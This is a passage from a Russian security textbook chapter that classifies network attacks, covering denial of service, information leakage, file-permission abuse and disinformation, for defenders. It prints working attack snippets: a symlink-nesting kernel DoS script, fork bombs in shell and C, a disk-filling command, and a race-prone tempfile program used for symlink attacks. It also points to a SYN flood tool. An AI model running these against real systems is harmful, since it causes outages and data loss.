Защита от хакеров корпоративных сетей - читать онлайн

Каждая атака принадлежит к определенному классу атак. Последствия атаки могут быть самыми различными: атакованная система может быть выведена из строя или удаленный злоумышленник сможет полностью контролировать ее. О последствиях атак речь пойдет в специальном разделе этой главы. Сначала рассмотрим классификацию атак, в основу которой положен наносимый ими ущерб.

Можно выделить семь классов атак, последствия которых отражают общие критерии оценки проблем безопасности:

• отказ в обслуживании (Denial of service);

• утечка информации;

• нарушения прав доступа к файлу;

• дезинформация;

• доступ к специальным файлам / базам данных;

• удаленное выполнение программ (Remote arbitrary code execution);

• расширение прав (Elevation of privileges).

Отказ в обслуживании

Что собой представляет атака, приводящая к отказу в обслуживании (DoS-атака)? О DoS-атаке говорят в том случае, когда в результате действий злоумышленника ресурс заблокирован или его функциональные возможности существенно ограничены. Другими словами, атака препятствует доступности ресурса его постоянным авторизованным пользователям. Атаки этого класса могут осуществляться как локально на автономной системе, так и удаленно через сеть. Они направлены на ограничение функциональных возможностей процессов, уменьшение объема запоминаемой информации, разрушение файлов. Подобные атаки преследуют цель сделать ресурс непригодным для работы или добиться завершения работы системы или процессов. Рассмотрим DoS-атаки подробнее.

Локальная DoS-атака встречается часто, и ее во многих случаях можно предотвратить. Несмотря на большой ущерб от атак этого класса, все же предпочтительнее иметь дело именно с ними. При грамотно реализованной системе безопасности этот класс атак легко отследить, а злоумышленника – идентифицировать.

Локальная DoS-атака наиболее часто преследует следующие три цели: существенное снижение функциональных возможностей процесса, исчерпание места на диске и истощение индексных узлов (index node (inode) exhaustion).

Снижение функциональных возможностей процесса

По сути, каждый локальный отказ в обслуживании – это существенное снижение функциональных возможностей процессов вследствие снижения производительности системы из-за ее перегрузки в результате атаки злоумышленника. Перегрузка системы наступает из-за порождения процессов с повторяющейся структурой, которые пожирают доступные ресурсы хоста, переполнения таблицы системных процессов или из-за перегрузки центрального процессора, опять же в результате порождения слишком большого количества процессов.

Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):

#!/bin/sh

# by Nergal

mklink()

{

IND=$1

NXT=$(($IND+1))

EL=l$NXT/../

P=“”

I=0

while [ $I -lt $ELNUM ] ; do

P=$P“$EL”

I=$(($I+1))

done

ln -s “$P”l$2 l$IND

}

#main program

if [ $# != 1 ] ; then

echo A numerical argument is required.

exit 0

fi

ELNUM=$1

mklink 4

mklink 3

mklink 2

mklink 1

mklink 0 /../../../../../../../etc/services

mkdir l5

mkdir l

Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:

($0 & $0 &)

Код на языке С следующий:

(main() {for(;;)fork();})

В любом из вариантов злоумышленник может снизить эффективность работы процесса как незначительно, лишь замедлив работу системы, так и весьма сильно, перерасходовав или монополизировав ресурсы системы и вызвав тем самым ее аварийный отказ.

Переполнение диска

Цель другого класса локальной DoS-атаки состоит в том, чтобы полностью заполнить диск. Емкость диска – конечный ресурс. Ранее дисковая память была очень дорогим ресурсом. В настоящее время цена хранения информации на диске значительно снизилась. Несмотря на возможность решения многих задач хранения информации при помощи дисковых массивов и программ, контролирующих хранение информации, емкость дисковой памяти продолжает оставаться узким местом во всех системах. Программные решения типа выделения квот хранения информации каждому пользователю позволяют лишь смягчить эту проблему.

Этот вид атак преследует цель сделать невозможным создание новых файлов и увеличение размера существующих. Дополнительная проблема состоит в том, что некоторые UNIX-системы завершаются аварийно при полном заполнении корневого раздела. Хотя это нельзя характеризовать как конструкторский дефект UNIX, правильное администрирование системы должно предусматривать отдельный раздел для журналов регистрации типа /var и отдельный раздел для пользователей типа директории /home на Linux-системах или директории /export/home на системах Sun.

Если при планировании работы с диском не было предусмотрено разбиение диска на раздел(ы) для пользователей и, отдельно, раздел(ы) для журналов регистрации, то злоумышленник может воспользоваться этим типом DoS-атаки для достижения аварийного отказа системы. Он может также воспользоваться этим типом атаки для затруднения работы пользователей: при генерации большого количества событий, регистрируемых в системном журнале syslog, расходуется отведенная разделу журналов регистрации дисковая память, и при ее исчерпании нельзя зарегистрировать новые события в журнале syslog.

Реализация такой атаки тривиальна. Пользователю локального компьютера достаточно выполнить следующую команду:

cat /dev/zero > ~/maliciousfile

Эта команда свяжет файл устройства /dev/zero (который просто генерит нули) с файлом злоумышленника. Команда будет продолжаться до тех пор, пока пользователь не прекратит ее выполнение или не будет заполнен диск.

Для усиления разрушительного эффекта атаки, направленной на исчерпание дисковой памяти, можно воспользоваться идеей бомбежки почты. Хотя это старая идея, на практике она почти не применяется. Возможно, из-за того, что на основе анализа заголовков пакетов протокола SMTP путь электронной почты легко проследить. И хотя для передачи пакетов могут использоваться открытые ретрансляторы (open relays), поиск отправителя почтовой бомбы – не очень сложная задача. Поэтому большинство бомбардировщиков почты окажется или без Интернета, или в тюрьме, или одновременно и там, и там.

Истощение индексных узлов

Несмотря на разные цели, атаки, направленные на истощение индексных узлов, похожи на предыдущий тип DoS-атаки, ориентированный на переполнение диска. Локальные DoS-атаки истощения индексных узлов изначально ориентированы на тот или иной тип файловой системы. Индексные узлы – обязательная часть файловой системы UNIX.

Индексные узлы содержат важную информацию файловой системы. Как минимум, это сведения о владельце файлов, групповом членстве файлов, их типе, разрешениях, размере и адресах блоков, содержащих данные файла. При форматировании файловой системы создается конечное число индексных узлов для обработки индексов файлов каждой группы.

Ориентированные на истощение индексных узлов DoS-атаки стараются использовать все доступные индексные узлы раздела. Истощение этих ресурсов создает ситуацию, подобную той, которая происходит в случае нехватки места на диске. В результате система не может создавать новые файлы. Этот класс атак обычно используется для нанесения ущерба системе и препятствования регистрации системных событий, особенно действий злоумышленника.

Сетевые DoS-атаки, преследующие цель вывода подключенного к сети компьютера (или компьютеров) из строя, могут быть отнесены к одному из двух подклассов: нападение на какую-либо службу системы или нападение на систему в целом. Такие атаки могут быть очень опасными. Эти типы атак были придуманы для создания дискомфорта пользователям и предпринимаются злоумышленником как карательные акции.

Характеризуя людей, стоящих за подобными атаками, следует сказать, что DoS-атаки из сети – в основном метод действия малодушных людей, пытающихся уйти от ответственности за совершенные действия. Любые оправдания DoS-атак из сети несостоятельны. Свободно распространяемый и легкодоступный инструментарий создал субкультуру, называемую миром возможностей новичков-недоумков (script kiddiot), способных только на то, чтобы запустить нужный сценарий. (Автор позаимствовал неологизм, придуманный Джосом Оквендо (Jose Oquendo) – автором известной программы antiofiline.com.) Выражение новичок-недоумок произошло от базового словосочетания, в котором сценарий определяется как «предварительно написанная программа, запускаемая пользователем», а словообразование новичок-недоумок (kiddiot) является комбинацией слов ребенок и недоумок. Очень доходчиво. Доступность существующего инструментария позволяет им причинять неудобства, оставаясь при этом анонимными. При этом пользователям совсем не обязательно утруждать себя хотя бы минимальными техническими знаниями. Единственные, кто несет за подобные атаки большую ответственность, чем новички-недоумки, – это группа профессионалов, создающих условия для подобных атак.

DoS-атаки из сети, как уже было сказано, могут быть направлены на службы или систему в целом в зависимости от того, какую цель преследует атака и почему. Они могут быть подразделены на атаки, направленные для достижения отказа в обслуживания клиентской части, сервисов или систем. В следующих разделах каждый из этих типов атак будет рассмотрен более детально.

Сетевые DoS-атаки на клиентскую часть

Специальные программы ориентированы на достижение отказа в обслуживании клиентской части. Они преследуют следующую цель: добиться невозможности выполнения клиентской частью запросов пользователя. Примером подобной атаки являются так называемые бомбы JavaScript (JavaScript bombs).

По умолчанию большинство Web-браузеров разрешают использование сценария на языке JavaScript. То, что это действительно так, можно заметить во время посещения Web-сайта, когда отображается всплывающая или фоновая (pop-under) реклама. К сожалению, злоумышленник может использовать возможности JavaScript преступным образом, например для атаки с целью достижения отказа обслуживания клиентской части. Используя ту же самую технику, что и рекламодатели для создания нового рекламного окна, злоумышленник может создать злонамеренную Web-страницу, состоящую из бесконечного цикла создания окон. В конечном счете всплывет так много окон, что система исчерпает все свои ресурсы.

Это был пример атаки на клиентскую часть для достижения отказа в обслуживании пользователя в результате исчерпания ресурсов. Принцип атаки аналогичен ранее описанному, но теперь атака организована через сеть. Это только одна из многих атак на клиентскую часть. Другие используют возможности таких программ, как AOL Instant Messenger, ICQ Instant Message Client и аналогичные им.

Сетевые DoS-атаки на сервисы

Другим представителем класса сетевых DoS-атак являются сетевые DoS-атаки на сервисы. Они предназначены для нападения на выбранные для атаки сервисы, для того чтобы добиться их недоступности для авторизованных пользователей. Подобные атаки обычно осуществляются при помощи таких используемых пользователями сервисов, как демон протокола передачи гипертекста (Hypertext Transfer Protocol Daemon – HTTPD), агент доставки почты (Mail Transport Agent – MTA) и др.

Иллюстрацией подобной проблемы служит уязвимость, которая случайно была обнаружена в инфраструктуре Web-конфигурации операционной системы фирмы Cisco CBOS (Cisco Broadband Operating System). После появления на свет червя Code Red, который создавался, ориентируясь на Wed-сервера с IIS (Internet Information Server) 5.0 фирмы Микрософт, было обнаружено, что червь неразборчив к типу атакуемого Web-сервера. Червь сканировал сети в поисках Web-серверов и предпринимал попытки атаковать любой встретившийся сервер.

Побочный эффект червя проявился в том, что хотя некоторые хосты оказались ему не по зубам, другие хосты, в частности хосты с CBOS, оказались подверженными другой опасности: прием от хостов, инфицированных Code Red, многократных запросов на соединение с использованием протокола TCP через порт 80 приводил к аварии CBOS.

Хотя эта уязвимость была обнаружена как проявление другой, любой пользователь мог воспользоваться ею с помощью легкодоступного инструментария аудита сети. Тем более что после нападения маршрутизатор не смог бы самостоятельно выключиться и сразу включиться, чтобы восстановить свою работоспособность. Это классический пример атаки, нацеленной на уязвимый сервис.

Сетевые DoS-атаки на систему

Нацеленные на разрушение системы сетевые DoS-атаки обычно преследуют те же цели, что и локальные DoS-атаки: уменьшение производительности системы вплоть до ее полного отказа. Выявлено несколько характерных подходов для осуществления этого типа атак, которые по существу полностью определяют используемые методы. Один из них основан на атаке одной системы из другой. Этот тип нападения был продемонстрирован в нападениях land.c, Ping of Death (звонок смерти) и teardrop (слезинка), происходивших пару лет назад, а также в нападениях на различные уязвимости фрагментированных пакетов TCP/IP в маршрутизаторе D-Link, Microsoft ISA Server и им подобных программных средствах.

Аналогична идея синхронной атаки (SYN flooding). (SYN flooding – злонамеренное действие, состоящее в генерировании злоумышленником лавины синхронизирующих символов SYN с целью заблокировать легальный доступ на сервер путем увеличения полуоткрытых соединений к TCP порту). Синхронная атака предполагает наличие ряда условий: начиная от случая, когда атакующий компьютер обладает большей производительностью, чем атакуемый, и заканчивая случаем наличия в сети компьютеров, соединенных скоростными каналами. Этот тип нападения используется главным образом для деградации производительности системы. Синхронная атака реализуется путем посылки запросов на TCP-соединение быстрее, чем система сможет их обработать. Атакованная система расходует ресурсы на отслеживание каждого соединения. Поэтому получение большого количества символов синхронизации может привести к тому, что атакованный хост исчерпает все свои ресурсы и не сможет выделить их новым легальным соединениям. IP-адрес источника, как обычно, подменяется таким образом, чтобы атакованная система не смогла получить ответ на свою посылку второй части трехстороннего представления SYN-ACK (синхронизированное уведомление об успешном приеме данных, генерируемое получателем пакетов). Некоторые операционные системы несколько раз повторно передадут SYN-ACK, перед тем как освободить ресурс и вернуть его системе. Заках (Zakath) написал программу синхронной атаки syn4k.c. Программа позволяет указать в пакете подмененный адрес отправителя и порт системы жертвы синхронной атаки. По соображениям краткости изложения в книге не приведен исходный код программы, но его можно загрузить с www.cotse.com/sw/dos/syn/synk4.c.

Синхронную атаку можно обнаружить различными инструментальными средствами, например командой netstat, результат действия которой показан на рис. 3.1, или с помощью сетевых систем обнаружения вторжения (IDS).

Рис. 3.1. Пример использования команды netstat для обнаружения синхронной атаки

В некоторых версиях операционных систем использование параметра – n команды netstat позволяет отобразить адреса и номера портов в числовом формате, а переключатель -p – выбрать протокол для просмотра. Это дает возможность просматривать не все соединения по протоколу UDP (User Datagram Protocol), а только те из них, которые представляют интерес в рамках определенной атаки. Перед использованием команды ознакомьтесь с описанием команды netstat, установленной на вашей операционной системе, чтобы гарантировать использование правильных параметров.

Добавим, что некоторые операционные системы поддерживают возможность работы с маркерами SYN cookies по протоколу TCP. Использование маркеров SYN cookies позволяет устанавливать защищенные криптографическими средствами соединения (в системах с удаленным доступом использование маркеров подразумевает пароль, порождаемый сервером при первом подключении и отсылаемый пользователю; при последующих подключениях пользователь должен предоставлять серверу этот пароль). При получении символа синхронизации SYN от системы – инициатора обмена система возвращает символы синхронизированного уведомления об успешном приеме данных SYN+ACK, как если бы SYN-очередь в действительности была больше. При возврате системой-инициатором обмена символа ACK обратно системе она вызывает специальную функцию сервера, передавая функции в качестве входного параметра значение 32-битового счетчика времени по модулю 32. Если результат, возвращаемый функцией, соответствует ожидаемому, то используется извлеченный максимальный размер сегмента MSS и восстанавливаются внутренние переменные для правильного поступления SYN-символов в очередь.

Рассмотрим атаки типа smurf или packet, которые обычно инициируются ранее упомянутыми новичками-недоумками. Атаки типа smurf – DoS-атаки из сети, ставящие перед собой цель вывести из строя атакованный хост. Этот тип атак использует маршрутизатор, играющий роль посредника, как это показано на рис. 3.2. Злоумышленник, подменивший исходный IP-адрес на адрес атакуемого хоста, генерирует большое количество эхо-сообщений по протоколу ICMP (Internet Control Message Protocol), создавая тем самым большой поток информации по широковещательным IP-адресам. Маршрутизатор, в данном случае выступающий в роли усилителя smurf-атаки, преобразует широковещательный запрос на IP-передачу к широковещательному запросу уровня канала передачи данных Layer 2 и посылает их дальше. Каждый хост, получив широковещательный запрос, отвечает эхо-сигналом по подмененному IP-адресу отправителя. В зависимости от числа хостов в сети как маршрутизатор, так и атакуемый хост могут быть перегружены потоком информационного обмена, что может привести к снижению сетевой производительности атакованного хоста. В зависимости от числа используемых сетевых усилителей атакованная сеть сможет достичь предела своих возможностей обработки информации.

Рис. 3.2. Схема smurf-атаки

В последнее время появились сетевые распределенные DoS-атаки (DDoS). В их основе лежит та же самая идея, что и в smurf-атаках, хотя средства нападения и метод усиления атаки значительно отличаются.

Типы DDoS-атак различаются способом использования клиентов, мастеров и демонов (также называемых зомби). Для того чтобы DDoS-атака стала возможной, специальная программа должна быть размещена на десятках или сотнях системах-«агентах». Обычно кандидаты на роль «агентов» ищутся автоматически среди хостов, которые могут быть cкомпрометированы (например, в результате переполнения буферов во время удаленного вызова процедур (RPC) служб statd, cmsd и ttdbserverd). Затем на скомпрометированные хосты размещается специальная программа – мастер или демон. На них же загружаются специальные программы запуска демонов вместе с программами-генераторами потока пакетов информации, нацеленных на атакуемую систему. Для атаки злоумышленник использует клиента мастера, размещенного на скомпрометированном хосте. Мастер позволяет злоумышленнику управлять демонами. В конечном счете злоумышленник управляет несколькими мастерами, а те – демонами. Во время DDoS-атаки каждый из агентов участвует в создании избыточного потока информации по направлению к атакуемой системе и перегружает ее. Современный набор инструментальных средств DDoS-атак состоит из таких средств, как trinoo, Tribe Flood Network, Tribe Flood Network 2000, stacheldraht, shaft и mstream. Для дополнительного ознакомления о средствах и методах обнаружения демонов и инструментарии DDoS-атак посетите Web-сайт Дэвида Дитриха (David Dittrich): http://staff.washington.edu/dittrich/misc/DDoS.

Утечка информации

Утечку информации можно сравнить с протечкой воды из прохудившихся труб. Почти всегда утечка информации нежелательна и заканчивается неприятностями. Как правило, утечка информации – результат неправильного обращения с ресурсом, от которого зависит возможность нападения. Точно так же как генералы полагаются на сведения разведчиков, проникших в тыл врага, так и злоумышленники проникают в сеть для выполнения аналогичных задач, собирая информацию о программах, операционных системах и архитектуре сети, намеченной для нападения.

Пути утечки информации различны. Один из возможных путей – баннеры. Баннеры – текст, предъявляемый пользователю при регистрации в системе посредством той или иной службы. Баннеры можно найти в протоколах FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), POP3 (Post Office Protocol v. 3, оболочках безопасности (SSH-secure shell), службе telnet. Большинство программного обеспечения этих служб услужливо предоставляют внешним пользователям информацию о своей версии и конфигурации, как показано на рис. 3.3.

Рис. 3.3. Версия демона SSH

Другой путь – сообщения об ошибках. Часто Web-сервера предоставляют избыточную информацию о себе при возникновении исключительных условий. Исключительные условия определяются обстоятельствами, отличными от нормальных условий работы, например запросом несуществующей страницы или неопознанной командой. В этой ситуации лучше всего предусмотреть возможность настройки формата выдачи диагностических сообщений или тщательно продумать (workaround) формат выдачи диагностики. На рисунке 3.4 показано излишне болтливое сообщение об ошибке Apache.

Рис. 3.4. Разглашение информации о версии HTTP-сервера

Обзор путей утечки информации будет неполным, если не сказать об анализе протоколов (protocol analysis). Существуют различные варианты анализа протоколов. В одном из вариантов используются ограничения, предусмотренные при разработке протоколов якобы для предотвращения выдачи избыточной информации о системе. Посмотрите на этот FTP-запрос system type:

elliptic@ellipse:~$ telnet parabola.cipherpunks.com 21

Trying 192.168.1.2…

Connected to parabola.cipherpunks.com.

Escape character is “^]”.

220 parabola FTP server (Version: 9.2.1-4) ready.

SYST

215 UNIX Type: L8 Version: SUNOS

В HTTP – аналогичная проблема. Посмотрите, как выбалтывается информация о системе в заголовке HTTP посредством команды HEAD:

elliptic@ellipse:~$ telnet www.cipherpunks.com 80

Trying 192.168.1.2…

Connected to www.cipherpunks.com.

Escape character is “^]”.

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Wed, 05 Dec 2001 11:25:13 GMT

Server: Apache/1.3.22 (Unix)

Last-Modified: Wed, 28 Nov 2001 22:03:44 GMT

ETag: “30438-44f-3c055f40”

Accept-Ranges: bytes

Content-Length: 1103

Connection: close

Content-Type: text/html

Connection closed by foreign host.

Кроме этих вариантов, злоумышленники при анализе протоколов используют и другие. Один из них – анализ ответов в IP-протоколе. Атака основана на уже упомянутой идее, но реализуется на более низком уровне. Автоматизированный инструментарий типа Network Mapper или Nmap предоставляет удобные средства для сбора информации о системе, на которую готовится нападение, включая общедоступные порты системы и установленную на ней операционную систему. Посмотрите на результаты сканирования Nmap:

elliptic@ellipse:~$ nmap -sS -O parabola.cipherpunks.com

Starting nmap V. 2.54BETA22 (www.insecure.org/nmap/)

Interesting ports on parabola.cipherpunks.com (192.168.1.2):

(The 1533 ports scanned but not shown below are in state:

closed)

Port State Service

21/tcp open ftp

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http

Remote operating system guess: Solaris 2.6 – 2.7

Uptime 5.873 days (since Thu Nov 29 08:03:04 2001)

Nmap run completed – 1 IP address (1 host up) scanned in 67 seconds

Во-первых, давайте выясним смысл флажков, использованных для сканирования системы parabola. Флаг sS используется при SYN-сканировании для исследования полуоткрытых соединений с целью определения открытых портов хоста. O флаг указывает Nmap на необходимость идентификации операционной системы, если это возможно, на основе ранее выявленных и сохраненных в базе данных особенностей реакции систем на сканирование. Как вы можете видеть, Nmap смог идентифицировать все открытые порты системы и достаточно точно определить операционную систему системы parabola (на самом деле это была операционная система Solaris 7, выполняющаяся на платформе Sparc).

Приведенные примеры показывают пути утечки информации, которые помогли злоумышленнику собрать обширные сведения о сети при подготовке к нападению.

Это общая проблема. Некоторые программы любезно и охотно предоставляют важную информацию об архитектуре сети. Протоколы типа SNMP (Simple Network Management Protocol) предусматривают открытое описание соединений для взаимодействия с другими системами. Ухудшает положение дел и то, что в очень многих реализациях протокола SNMP для ограничения предоставления сведений об архитектуре сети применяются примитивные или легкоугадываемые процедуры аутентификации.

Печально, но SNMP все еще широко используется. Например, маршрутизаторы Cisco поддерживают SNMP. Некоторые операционные системы типа Solaris устанавливают и запускают SNMP-средства по умолчанию. Помимо других уязвимостей, найденных в этих средствах, их использование с конфигурацией по умолчанию – явно плохая практика.

Утечка с Web-серверов

Предварительно уже говорилось о чрезмерно болтливых Web-серверах, сообщающих назойливым пользователям лишние сведения о себе при некоторых режимах их работы. Эта проблема еще более усложняется, когда используются такие вещи, как PHP, CGI (Common Gateway Interface) и мощные машины поиска. Подобно любому другому инструментарию, они могут использоваться как на пользу, так и во вред.

Так, PHP, CGI и машины поиска могут использоваться для создания интерактивных Web-средств, настраиваемой среды пользователя для работы в Интернете и автоматизации предпринимательской деятельности. А могут использоваться и для злонамеренных действий, особенно если в их реализации есть ошибки. Беглое знакомство с документом ARIS (Attack Registry and Intelligence Service) показывает, что под номером 3 в нем значится тип атак, использующих обход директории («Generic Directory Traversal Attack»). (Этим типам атак в документе предшествуют атаки с использованием ISAPI и нападения типа cmd.exe, которые на момент написания книги были очень многочисленными и разнообразными.) В группу атак на основе обхода директории входят атаки типа dot-dot (..) или атаки относительного пути (…), в ходе которых в URL добавляются точки для выяснения, приведет ли это к переходу в другую директорию и выдаче листинга или выполнению программы на Web-сервере.

Сценарии, которые предоставляют возможность обхода директорий, позволяют не только кому-либо сменить директорию и просмотреть список файлов системы. Они позволяют злоумышленнику прочитать любой файл, читаемый HTTP-сервером с учетом монопольного использования и группового членства. А это, в свою очередь, может позволить пользователю получить доступ к файлу паролей passwd в директории /etc и к другим непривилегированным файлам Unix-систем или иных систем, например Microsoft Windows, привести к чтению (а потенциально и к записи) привилегированных файлов. Любые данные, полученные в результате этого типа атак, могут быть использованы для подготовки более опасных нападений. Web-сценарии и приложения должны стать темой тщательного рассмотрения еще до их установки. Подробнее познакомиться с ARIS можно по адресу http://ARIS.securityfocus.com.

Гипотетический сценарий

Некоторые программы, например Sendmail, в большинстве своих реализаций по умолчанию предоставляют сведения о пользователях системы. Усугубляет ситуацию еще и то, что эти программы используют пользовательскую базу данных как справочник для адресов электронной почты. Кое-кто, возможно, лишь усмехнется, услышав рассуждения о возможности утечки информации. В этом случае задумайтесь над следующим примером.

В маленьком городке два Интернет-провайдера. Интернет-провайдер A появился позднее Интернет-провайдера B и быстро развивается, существенно увеличивая число своих клиентов. Интернет-провайдер B обосновался в городке раньше A и владеет большим процентом клиентов. Интернет-провайдер B ведет конкурентную войну с Интернет-провайдером A, недовольный тем, что A ограничивает сферу деятельности B и выбивает почву из-под его ног. У Интернет-провайдера A работают более квалифицированные системные администраторы, которые смогли воспользоваться преимуществами различных программных средств, ограничив доступ пользователей к важной информации. Они достигли этого с помощью таких ухищрений, как организация почты (hosting mail) на отдельном сервере, использование различных регистрационных имен оболочки сервера для исключения возможности получения доступа к базе данных почтовых адресов различным пользователям. Однако Интернет-провайдер B не предпринял таких мер предосторожности. Однажды сотрудников Интернет-провайдера A осенила блестящая идея, как получить учетные записи Интернет-провайдера B. Эти учетные записи позволят им сначала получить доступ к почтовому серверу Интернет-провайдера B, а затем легко завладеть файлом паролей passwd. Зная пароли, можно будет по почте отправить всем пользователям Интернет-провайдера B предложение о сотрудничестве с Интернет-провайдером A, предлагая им существенные скидки по сравнению с текущими расходами у Интернет-провайдера B.

Как вы можете видеть, утечка подобной информации может привести не только к взлому системы безопасности, но и, возможно, к банкротству. Предположим, что компания смогла получить доступ к информационным системам своего конкурента. Что остановит ее от кражи, дезинформации, мошенничества и осуществления всего того, что можно сделать для подрыва честной конкуренции? Дни наивности в Интернете закончены.

В силу различных причин всегда найдутся люди, которые не обеспокоены утечкой информации. Такое отношение к утечке информации объясняется, например, тем, что, по их мнению, утечку информации остановить невозможно и тайное всегда станет явным, или тем, что без допуска к некоторой хранимой на сервере информации нельзя наладить доверительные отношения с клиентами. Сюда относится и такая возможность, как «снятие отпечатков пальцев» систем, смысл которой состоит в идентификации систем на основе сравнения реакции системы с ожидаемыми действиями.

Любая грамотно разработанная операционная система предоставляет возможности или для уклонения от «снятия отпечатков пальцев», или для затруднения проведения идентификации системы на их основе, требуя проведения дополнительных мероприятий. Некоторые системы даже предоставляют возможность посылки поддельных «отпечатков пальцев» чрезмерно навязчивым хостам. Причины этого очевидны. Возвращаясь к примеру из военной области, отметим, что зачастую подготовка к предстоящему нападению тщательно скрывается для достижения эффекта неожиданности. Это может достигаться маскировкой своих сил, скрытию их передислокации, передаче только зашифрованных сведений и т. д. Подобное ограничение утечки информации заставляет неприятеля принимать решения без знания истинного положения дел, увеличивая тем самым возможность совершения ошибки.

Поэтому, по аналогии с армией, для которой существует риск нападения на нее грозного врага, следует приложить максимум усилий для скрытия ресурсов собственной сети от сбора сведений и предотвратить утечку информации. Любая имеющая значение информация о сети, которая окажется в распоряжении злоумышленника, предоставит ему возможность сделать обоснованные выводы в нужном направлении. Устранение утечки информации вынуждает злоумышленника предпринимать дополнительные меры для сбора необходимой ему информации. Возросшая активность злоумышленника увеличивает шансы его обнаружения.

Нарушения прав доступа к файлу

Нарушения прав доступа к файлу создают благоприятные условия для начала атаки. Используя нарушения прав доступа к файлу и методы, описанные в секции «Утечка информации», злоумышленник может добраться до секретной информации типа имен пользователей или их паролей в системе, получить доступ к другим файлам при помощи, например, смены владельца файла или атаки символических ссылок (symboliclink attack).

Один из самых простых способов обеспечить безопасность файла состоит в обеспечении прав работы с ним. Часто это один из наиболее освещаемых аспектов безопасности системы. Некоторые однопользовательские системы типа Microsoft Windows 3.1/95/98/ME не поддерживают права доступа к файлам. В то же время многопользовательские системы имеют, по крайней мере, одно, а обычно несколько возможностей управления доступом к файлам.

Например, Unix-подобные системы и некоторые Windows-системы поддерживают пользователей и группы пользователей, позволяют задавать атрибуты файлов для указания прав пользователя и группы пользователей на выполнение тех или иных действий с файлом. Пользователь или владелец файла может быть наделен правами полного управления файлом, включая операции чтения, записи и выполнения других разрешенных действий с файлом. В то же время пользователь группы, назначенной этому файлу, может иметь права на чтение и выполнение файла, а пользователи, не являющиеся владельцами файла или членами группы, могут обладать другим набором прав или вообще не иметь никаких разрешений на работу с файлом.

В дополнение к стандартному набору прав владельца файла группы пользователей и многие Unix-подобные системы поддерживают более изощренные методы разрешения доступа к файлу. Их реализация разнообразна: от простого – типа предоставления возможности определить, какие пользователи имеют доступ к файлу, – до более сложного – назначения ролевого имени для открытия пользователям доступа к набору утилит. В составе операционной системы Solaris имеется два таких примера: ролевое управление доступом (Role-Based Access Control – RBAC) и списки управления доступом (ACL – Access Control Lists).

Списки управления доступом ACL позволяют пользователю определить доступ к файлу для отдельных пользователей системы. Список доступа связан с владельцем и членством в группе.

Ролевое управление доступом RBAC – сложный инструментарий, предусматривающий различные слои прав. Инструментарий можно настраивать, предоставляя пользователям обширные общие роли для выполнения таких функций, как добавление пользователей, изменение некоторых настроек системы и т. п. Также можно ограничить права пользователей, разрешив им выполнять только отдельные функции.

Атаки символических связей – это проблема, которая обычно используется злоумышленником для реализации своих замыслов. Цель подобных атак состоит в изменении полномочий работы с файлом, разрушении файла в результате добавления в конец новых данных или перезаписи файла с уничтожением ранее содержащейся в нем информации.

Атаки символических связей часто начинаются из директорий для хранения временных данных. Обычно проблема возникает из-за ошибки программирования. Когда запускается уязвимая программа, она создает файл с параметрами, делающими его уязвимым для нападения. Таких параметров два.

Первый – права работы с файлами. Второй – создание небезопасных временных файлов, то есть уязвимых для нападения злоумышленника. Если файл был создан с опасными с точки зрения безопасности системы правами работы, то он может быть изменен злоумышленником. В зависимости от алгоритма работы программы возможна ситуация, когда измененные злоумышленником данные временного файла могут быть переданы сессии пользователя.

Во втором случае, если программа не проверяет существование файла на диске перед его созданием, атака на систему реализуется следующим образом. Если пользователь в состоянии определить имя временного файла прежде, чем он будет создан, то создается символическая связь с временным файлом, который будет создан и который намечен для нападения. В следующем примере продемонстрирован исходный текст программы, создающей файл с предсказуемым именем:

/* lameprogram.c – Hal Flynn  */

/* does not perform sufficient checks for a */

/* file before opening it and storing data */

#include 

#include 

int main()

{

char a[] = “This is my own special junk data

storage.\n”;

char junkpath[] = “/tmp/junktmp”;

FILE *fp;

fp = fopen(junkpath, “w”);

fputs(a, fp);

fclose(fp);

unlink(junkpath);

return(0);

}

Эта программа создает файл /tmp/junktmp без первоначальной проверки его существования.

Пусть во время выполнения программы, создающей небезопасный временный файл, создаваемый файл уже существует. Тогда файл, указанный в символической связи, будет или перезаписан, или в конец этого файла будут добавлены новые данные при условии, если пользователь, выполняющий потенциально опасную программу, имеет право на запись в файл. Рисунки 3.5 и 3.6 демонстрируют пример использования подобной программы пользователем haxor для перезаписи файла пользователя ellipse.

Рис. 3.5. Пользователь haxor создает злонамеренную символическую ссылку

Рис. 3.6. В результате выполнения программы Lameprogram пользователем Ellipse осуществляется перезапись данных файла Lamedata

Дезинформация

Поясним суть дезинформации на примере из военной области. Предположим, что часовые выставлены на посты для наблюдения за обстановкой. Один из них обнаружил разведчиков неприятеля. Часовой сообщает командованию о вражеской разведке, а командование отправляет собственную группу разведки для точного выяснения, кто шпионит за ними.

Можно предположить, что генерал неприятеля уже думал над возможными вариантами своих действий при подобном развитии обстановки. Например, он может решить скрывать свои силы, пока не убедится, что перед ним никого нет. «Но что, если кто-то увидит мои наступающие силы, – может быть его следующей мыслью. – И если противостоящий мне неприятель пошлет разведчиков для разведки моих сил и занимаемых ими позиций, которые найдут мою армию сильнее, чем свою, то неприятель, вероятно, или укрепит свои позиции, или отойдет на другие позиции, где на них труднее напасть или где их нельзя обнаружить».

Поэтому вражеский генерал может захотеть представить свои силы менее опасными, чем они являются в действительности. Он может спрятать тяжелое вооружение и большую часть пехоты, оставляя на обозрении только маленькую часть своих сил. В основе дезинформации лежит та же самая идея.

Как правило, после компрометации системы злоумышленник прилагает максимум усилий для скрытия своего присутствия и распространения дезинформации. Злоумышленники добиваются этого при помощи ряда способов.

